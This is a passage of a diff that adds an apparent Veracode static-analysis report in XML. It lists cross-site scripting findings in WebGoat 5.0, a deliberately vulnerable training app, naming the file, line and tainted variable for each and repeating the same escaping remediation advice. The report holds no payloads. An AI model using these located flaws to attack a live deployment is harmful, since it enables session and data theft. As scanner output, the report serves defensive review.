+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
